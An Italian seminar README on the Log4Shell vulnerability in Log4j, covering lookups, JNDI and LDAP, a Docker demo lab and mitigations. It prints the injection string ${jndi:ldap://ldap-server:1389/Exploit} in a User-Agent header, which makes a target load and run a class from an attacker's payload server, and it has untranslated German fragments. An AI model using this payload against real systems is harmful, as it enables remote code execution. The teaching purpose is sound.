
Dimostrazione pratica della vulnerabilità Log4Shell (CVE-2021-44228)
Questo repository è destinato esclusivamente a scopi educativi e dimostrativi nell'ambito di un lavoro seminariale sulla sicurezza. Non utilizzare questo codice in ambienti di produzione o contro sistemi senza autorizzazione esplicita. La configurazione ha lo scopo di promuovere la consapevolezza della sicurezza e mostrare come vulnerabilità complesse possano nascere quando funzionalità apparentemente innocue come logging, risoluzione dei nomi e caricamento dinamico di classi vengono combinate tra loro.
L'obiettivo di questo lavoro seminariale è fornire una comprensione approfondita della vulnerabilità Log4Shell (CVE-2021-44228), resa nota nel dicembre 2021 e classificata come una delle vulnerabilità di sicurezza più critiche degli ultimi anni. Il lavoro spiega sia le basi teoriche, sia presenta una dimostrazione pratica della vulnerabilità.
Per illustrare praticamente la vulnerabilità Log4Shell, in questo repository è stato allestito un ambiente isolato e containerizzato che riproduce l'intero flusso di attacco in modo riproducibile. La dimostrazione si basa su tre componenti centrali:
User-Agent dalla richiesta HTTP, che gli attaccanti possono manipolare per sfruttare la vulnerabilità.Exploit.class). Come il server LDAP, anche questo server è sotto il controllo dell'attaccante.Nota: Informazioni dettagliate sul setup e sull'esecuzione della dimostrazione si trovano nelle sezioni 4. Struttura del progetto e setup e 5. Demo del progetto.
Log4Shell è il nome di una vulnerabilità di sicurezza critica nella libreria Java Log4j identificata come CVE-2021-44228. Consente a un attaccante di eseguire codice arbitrario su un server remoto (Remote Code Execution, RCE) con il minimo sforzo.
La vulnerabilità riguarda Log4j nelle versioni 2.0 fino a 2.14.1 ed è così grave che è stata classificata con il livello di rischio più alto da molte autorità di sicurezza, incluso il BSI (Ufficio federale per la sicurezza informatica).
Log4Shell è particolarmente pericolosa perché...
La causa principale risiede in una funzionalità di Log4j che consente di caricare contenuti dinamici nei messaggi di log tramite i cosiddetti Lookup. In combinazione con JNDI (Java Naming and Directory Interface) e il protocollo LDAP (Lightweight Directory Access Protocol), ciò permette di caricare ed eseguire classi Java dannose remote.
La scoperta e la pubblicazione della vulnerabilità hanno scatenato un'ondata di sicurezza a livello mondiale. Molti sistemi hanno dovuto essere immediatamente patchati o spenti. Nel periodo successivo sono state scoperte ulteriori vulnerabilità correlate (ad es. CVE-2021-45046), dimostrando quanto profonda e pericolosa fosse la problematica.
Di seguito, le tecnologie coinvolte e la loro interazione vengono spiegate in dettaglio per sviluppare una comprensione più approfondita della vulnerabilità.
Log4j è una libreria creata da Apache per la registrazione di eventi in applicazioni Java. Il logging è uno strumento centrale nello sviluppo software per monitorare i sistemi o analizzare gli errori. Log4j è uno dei framework di logging più conosciuti e utilizzati nell'ecosistema Java, impiegato sia in piccole applicazioni che in grandi sistemi aziendali.
Mentre un programma è in esecuzione, si verificano ad esempio i seguenti eventi:
Questi eventi possono essere documentati con log, solitamente come output testuale nella console, in file o tramite protocolli di rete verso server di log centralizzati. Un logging appropriato consente di tracciare cosa ha fatto un'applicazione e quando.
Log4j fornisce un'infrastruttura flessibile e altamente configurabile per la generazione e l'elaborazione di messaggi di log. Tra le funzionalità principali:
DEBUG, INFO, WARN, ERROR) che permettono di controllare quanto dettagliato debba essere il logging.Ulteriori funzionalità rilevanti per il lavoro seminariale verranno trattate nelle sezioni successive, in particolare la funzionalità dei placeholder e la funzionalità di Lookup.
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;
public class Example { private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.info("Starte Anwendung...");
}
}
In questo semplice esempio viene creata o recuperata un'istanza di Logger, se già esistente. Successivamente viene emesso un messaggio di log a livello `INFO`. Log4j gestisce la formattazione e l'output del messaggio in base alla configurazione. Una configurazione di esempio potrebbe essere la seguente:```xml
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1} - %m%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
Questa configurazione definisce un Appender che stampa i messaggi di log nel formato Datum Uhrzeit Log-Level Loggername - Nachricht sulla console. Questo Appender viene quindi assegnato al logger radice, che elabora tutti i messaggi di log a partire dal livello INFO.
L'output potrebbe quindi apparire come:``` 2023-10-01 12:00:00 INFO Example - Starte Anwendung...
Passiamo ora alle caratteristiche specifiche di Log4j che sono più rilevanti per la vulnerabilità Log4Shell.
#### Segnaposto nei messaggi di log
Una caratteristica particolarmente utile di Log4j è il supporto per i **segnaposto** nei messaggi di log. Questi consentono di inserire contenuti dinamici in fase di esecuzione nell'output del log:```java
String username = "Alice";
logger.info("Benutzer angemeldet: {}", username);
In questo caso, a runtime, {} viene sostituito dal valore effettivo della variabile username.
Ciò porta al seguente output:```text
"Benutzer angemeldet: Alice"
#### Espressioni dinamiche chiamate Lookup
Oltre ai semplici segnaposto, Log4j offre anche la possibilità di risolvere espressioni più complesse direttamente nel messaggio di log. Questa funzione si chiama **Lookup**: consente di inserire dinamicamente valori in fase di esecuzione (ad es. variabili d'ambiente, informazioni di sistema o valori di configurazione)
Esempi di tali espressioni dinamiche:
- `${env:HOME}` - restituisce il valore della variabile d'ambiente `HOME`. Su Linux/macOS sarebbe ad esempio `/home/username`.
- `${docker:...}` - potrebbe fornire informazioni sul contenitore Docker in cui l'applicazione è in esecuzione.
- `${jndi:...}` - esegue un lookup JNDI per caricare risorse interne o esterne.
Nella prossima sezione verrà esaminata più da vicino la funzionalità JNDI, poiché gioca un ruolo centrale nella vulnerabilità Log4Shell.
### 3.2 JNDI - Meccanismo di Lookup
**JNDI** sta per _Java Naming and Directory Interface_ ed è un'API Java standardizzata che consente di accedere a **servizi di nomi e directory**. Con JNDI, le applicazioni Java possono fare riferimento a risorse non tramite percorsi tecnici diretti, ma tramite nomi simbolici.
Un uso classico di JNDI è la ricerca di connessioni al database, come si vede qui:```java
public class JndiExample {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
Datasource ds = (DataSource) ctx.lookup("java:/comp/env/jdbc/myDB");
// Datenbankverbindung verwenden
}
}
Per prima cosa viene creato un InitialContext, che rappresenta il punto di ingresso per la risoluzione dei nomi tramite JNDI. Successivamente, tramite il metodo lookup, viene cercata una risorsa. In questo caso un'origine dati (DataSource) con il nome simbolico java:/comp/env/jdbc/myDB.

L'applicazione Java utilizza l'interfaccia indipendente dal protocollo di JNDI, che contiene classi come InitialContext, con il metodo lookup. L'API è sempre la stessa, sia che si utilizzi LDAP, DNS, ecc. Il Naming Manager funge da intermediario e seleziona il Service Provider appropriato, che gestisce la comunicazione effettiva. Il JNDI SPI (Service Provider Interface) è una raccolta di classi che implementano le funzionalità JNDI per vari protocolli. Nel nostro caso, il Service Provider rilevante è LDAP.
Nella prossima sezione esamineremo più da vicino il Service Provider LDAP.
LDAP sta per Lightweight Directory Access Protocol ed è un protocollo di rete standardizzato che consente l'accesso a quelli che vengono chiamati servizi di directory. È stato sviluppato originariamente come alternativa leggera a X.500 ed è oggi uno standard in molte reti aziendali, specialmente per la gestione centralizzata di utenti e permessi.
Un servizio di directory è un database strutturato che memorizza informazioni in forma gerarchica. A differenza dei database relazionali, una directory è:

Come si vede nell'immagine, una directory LDAP è organizzata in una struttura ad albero. Al livello radice si trovano i Domain Components (dc). Al di sotto possono esserci Organizational Units (ou) che rappresentano ulteriori suddivisioni, come ad esempio Users. Per singoli utenti o oggetti ci sono poi i Common Names (cn), che identificano la voce specifica e possono contenere vari attributi.
Significato:
dn: Distinguished Namedc: Domain Componentou: Organizational Unitcn: Common NameVediamo ora come viene contattato LDAP e che ruolo gioca nella vulnerabilità Log4Shell.
In LDAP è possibile memorizzare anche riferimenti a classi esterne, che possono essere caricate successivamente al bisogno. Questo avviene tramite attributi speciali come javaClassName e javaCodeBase. Questi attributi possono puntare a un URL da cui caricare una classe Java.
Con il seguente URL possiamo ad esempio interrogare un oggetto che fa riferimento a una classe Java:``` ldap://ldap-server:1389/Exploit

Come si vede nell'immagine, la voce LDAP contiene un attributo `javaClassName` che fa riferimento alla classe `Exploit`. Con l'attributo `javaCodeBase` viene specificato l'URL da cui caricare la classe. In questo caso si tratta di un server HTTP con indirizzo `http://payload-server/` che fornisce la classe `Exploit.class`.
Ora abbiamo esaminato tutti i componenti tecnici in dettaglio. Nella prossima sezione verrà descritto il flusso generale della vulnerabilità Log4Shell, per comprendere come queste tecnologie interagiscono e quale vettore d'attacco ne deriva.
### 3.4 Flusso generale di Log4Shell
Dopo aver esaminato singolarmente le tre tecnologie coinvolte, **Log4j** come framework di logging, **JNDI** come interfaccia per il servizio di directory e **LDAP** come servizio di directory concreto, diventa ora evidente quanto pericolosa possa essere la loro combinazione se non sono state adottate misure di sicurezza.
Nelle versioni di Log4j fino alla 2.14.1 era possibile far valutare i cosiddetti **Lookup** direttamente nei messaggi di log. Di conseguenza, potevano essere integrate query JNDI tramite LDAP, che poi potevano caricare ed eseguire classi Java arbitrarie da un server remoto, senza aver esplicitamente attivato questa funzionalità.
#### Scenario concreto nell'interazione:
Ora mettiamo in pratica quanto appena appreso in un esempio concreto. Come primo passo avviamo una ricerca JNDI con la seguente espressione:```text
${jndi:...}
Setzten wir nun den LDAP-Service Provider ein, um eine entfernte Java-Klasse zu laden ldap://ldap-server:1389/Exploit. Zusammen ergibt sich folgende Zeichenkette:```text
${jndi:ldap://ldap-server:1389/Exploit}
Ora non resta che un attaccante faccia in modo che questa stringa finisca in un messaggio di log, ad esempio manipolando un'intestazione HTTP.

Come si vede nell'immagine, a sinistra c'è l'attaccante che ospita un proprio server LDAP e un server di payload. A destra si trova l'applicazione vulnerabile con Log4j versione 2.14.1. Il flusso dell'attacco è il seguente:
1. Un attaccante invia una richiesta HTTP all'applicazione e inserisce la stringa manipolata mostrata sopra, ad esempio, nell'intestazione `User-Agent`: ```http
User-Agent: ${jndi:ldap://ldap-server:1389/Exploit}
User-Agent: ```java
logger.info("User-Agent: {}", request.getHeader("User-Agent"));
Log4j riconosce ${jndi:...} ed esegue automaticamente una ricerca JNDI tramite il protocollo ldap specificato
Ora viene invocato il provider del servizio LDAP per risolvere l'URL specificato ldap://ldap-server:1389/Exploit.
Il server LDAP risponde con un riferimento a una classe Java esterna (Exploit.class), che si trova sul seguente server: ```
http://payload-server:8000/Exploit.class
L'applicazione invia una richiesta al server di payload per caricare la Exploit.class.
Il server di payload risponde con la classe Java Exploit.class. Successivamente, questa classe viene eseguita senza alcuna validazione. L'attaccante ha quindi il controllo completo sul codice eseguito sul server vulnerabile.
Perché:
L'interazione tra lookup dinamici in Log4j, risoluzione flessibile dei nomi tramite JNDI e il protocollo LDAP crea una superficie di attacco inaspettata. Ciò che era originariamente pensato come una potente funzionalità di configurazione è diventato un punto d'ingresso per l'esecuzione remota di codice.
Nella prossima sezione verranno descritte la struttura del progetto e l'impostazione della demo per eseguire localmente la vulnerabilità.
La struttura del progetto riflette le tre componenti principali:```text log4shell/ ... ├── vulnerable-app/ # Verwundbare Spring Boot-Anwendung mit Log4j 2.14.1 ├── ldap-server/ # LDAP-Server (Fork von marshalsec) ├── payload-server/ # HTTP-Server zur Auslieferung des Exploit-Payloads ...
### 4.2 Prerequisiti
Per eseguire la demo Log4Shell in locale, sono necessari i seguenti prerequisiti:
#### Docker & Docker Compose
L'intera infrastruttura è basata su container. Docker garantisce che ogni componente (vulnerable-app, ldap-server, payload-server) venga eseguito in un ambiente isolato.
- **Docker**:
Installazione su [https://www.docker.com/get-started](https://www.docker.com/get-started)
- **Docker Compose** (già incluso in Docker Desktop)
Installabile alternativamente tramite [https://docs.docker.com/compose/](https://docs.docker.com/compose/)
#### cURL
Per eseguire l'attacco tramite riga di comando, è possibile utilizzare lo strumento `curl`:
- Già preinstallato su Linux/macOS
- Su Windows tramite [https://curl.se/](https://curl.se/) o incluso in Git Bash
> **Nota:** L'applicazione e tutti i server inclusi vengono eseguiti localmente sul tuo computer e comunicano esclusivamente all'interno di una rete Docker isolata (`log4shell-network`). Non è necessaria né viene stabilita alcuna connessione a server esterni.
### 4.3 Configurazione
In questa sezione viene descritto come configurare e avviare l'ambiente locale.
#### Passo 1: Clonare il repository```bash
git clone https://github.com/fabioeletto/hka-seminar-log4shell.git
cd hka-seminar-log4shell
Con Docker Compose, tutti i servizi necessari possono essere avviati con un unico comando:```bash docker-compose up --build
`docker-compose up --build` provoca:
- Le immagini per `vulnerable_app`, `ldap_server` e `payload_server` vengono costruite
- Tutti e tre i servizi vengono avviati
- Comunicano attraverso una rete Docker interna condivisa (`log4shell-network`)
Dopo un avvio riuscito, l'applicazione è raggiungibile al seguente endpoint:```
http://localhost:8080
I log e gli eventi vengono visualizzati in tempo reale nella console. I container rimangono in esecuzione finché la finestra del terminale è aperta (o il processo è in esecuzione in background).
Nota: Assicurarsi che nessun altro servizio sia in esecuzione sulle porte 8080, 1389 o 8000 per evitare conflitti.
Se si desidera chiudere i container, è possibile farlo con
docker-compose down. Questo fermerà e rimuoverà tutti i container in esecuzione, ma le immagini rimarranno.
In questa sezione viene mostrato come attivare intenzionalmente la vulnerabilità Log4Shell nell'ambiente demo fornito. Tutti i componenti avviati in precedenza collaborano:
User-Agent con Log4jExploit.class)Per eseguire la demo sono necessarie due finestre del terminale. Avviare prima l'ambiente con docker-compose up --build in un terminale, se non lo si è già fatto. In un secondo terminale eseguire quindi i passaggi seguenti:
Verificare che il file non esista ancora:
Poiché si tratta di una demo, come exploit viene creato solo un file vuoto per dimostrare l'esecuzione riuscita. Lo si può vedere dalla classe payload-server/Exploit.java. Per verificare che il file non esista ancora, eseguire il seguente comando: ```bash
docker exec vulnerable_app ls -l /tmp/remote_code_execution
Se il file non esiste, dovrebbe apparire un messaggio di errore come No such file or directory. Ciò conferma che l'exploit non è stato ancora eseguito.
Spiegazione del payload:
${jndi:...}: Log4j interpreta automaticamente questa espressione ed esegue una ricerca JNDI.ldap://ldap-server:1389: Si connette al server LDAP in esecuzione nella rete Docker./Exploit: Nome della voce LDAP che punta alla classe dannosa.http://localhost:8080: L'URL dell'applicazione vulnerabile a cui inviare la richiesta per innescare la vulnerabilità Log4j.Cosa succede in background?

User-AgentUser-Agent ed esegue una ricerca JNDI tramite LDAPExploit.class remota fornita dal server payloadNota: Come già menzionato, in questa demo viene creata solo un file vuoto per dimostrare l'esecuzione riuscita. In scenari di attacco reali, potrebbe essere eseguito codice arbitrario!
Verificare la sequenza dell'attacco
Ora puoi verificare nuovamente se il file /tmp/remote_code_execution è stato creato nel container: ```bash
docker exec vulnerable_app ls -l /tmp/remote_code_execution
Se l'attacco ha avuto successo, dovreste vedere il seguente output: ``` -rw-r--r-- 1 root root 0 Jun 9 12:34 /tmp/remote_code_execution
Con una singola riga di log manipolata viene attivato un processo completo di esecuzione remota di codice, questo è ciò che rende Log4Shell così pericoloso. Questa demo mostra come l'interazione di **Log4j**, **JNDI** e **LDAP** possa portare allo sfruttamento.
## 6. Misure di protezione
La vulnerabilità Log4Shell ha dimostrato quanto profondamente le applicazioni moderne possano essere compromesse da funzionalità apparentemente innocue. Per proteggere efficacemente i sistemi da tali attacchi, dovrebbero essere implementate le seguenti misure:
- **Aggiornare la versione di Log4j (almeno 2.17.1)**
La misura più importante è **l'aggiornamento a una versione di Log4j ≥ 2.17.1**, perché solo da questa versione in poi sono state corrette tutte le vulnerabilità note (incluse DoS ed exploit di configurazione). Le versioni precedenti sono ancora vulnerabili e non dovrebbero più essere utilizzate!
- **Disattivare le ricerche JNDI**
Se un aggiornamento completo non è possibile, è necessario **disattivare le ricerche JNDI**. Ciò può essere ottenuto nel file `log4j2.properties` impostando la seguente configurazione: ```properties
log4j2.formatMsgNoLookups=true
Questa impostazione impedisce a Log4j di valutare i JNDI lookup nei messaggi di log. In questo modo la superficie di attacco viene notevolmente ridotta. Tuttavia, questo è solo un workaround temporaneo, poiché altre vulnerabilità possono ancora persistere (DoS, exploit di configurazione).
Validare gli input
Tutti gli input utente dovrebbero essere validati e sanificati prima di essere utilizzati nei messaggi di log. In particolare, espressioni dinamiche come ${jndi:...} non dovrebbero essere accettate direttamente.
Limitare le connessioni di rete in uscita
Un elemento centrale dell'exploit era l'accesso senza restrizioni a server esterni controllati dall'attaccante. I sistemi dovrebbero essere configurati in modo da non poter raggiungere destinazioni esterne arbitrarie, ad esempio tramite firewall o policy di rete. In particolare, l'accesso a destinazioni LDAP sconosciute dall'applicazione dovrebbe essere bloccato.
La vulnerabilità Log4Shell mostra in modo impressionante quanto sia importante non affidarsi solo alla sicurezza del proprio codice, ma anche selezionare e comprendere attentamente le librerie e i framework utilizzati. In questo caso, una libreria di logging apparentemente innocua (Log4j) ha portato a una vulnerabilità di remote code execution. Questo dimostra che anche le dipendenze possono diventare un punto di ingresso per exploit. Ci si dovrebbe sempre chiedere se una libreria esterna è davvero necessaria o se una funzione può essere implementata senza dipendenze aggiuntive.
Un altro punto importante è il tema della complessità nascosta. Funzioni come ${env:HOME} all'interno di un messaggio di log sembrano innocue, ma nascondono meccanismi complessi in background, come i lookup dinamici. In questo modo può insinuarsi inosservato un comportamento pericoloso. In alternativa, si dovrebbero preferire soluzioni esplicite e trasparenti, come System.getenv("HOME"), così si mantiene il controllo e si può capire cosa succede.
Inoltre, vale un principio generale ma spesso trascurato: non processare mai input utente senza verifica. Soprattutto in operazioni critiche per la sicurezza come logging, accessi al database o comandi di sistema, gli input devono essere validati e sanificati.
Non da ultimo, l'incidente mostra quanto possa essere pericoloso avere funzionalità potenti come i JNDI lookup attivate per impostazione predefinita. Se in Log4j questa funzione non fosse stata attivata di default, solo un piccolo sottoinsieme di sistemi sarebbe stato interessato.
I principali insegnamenti: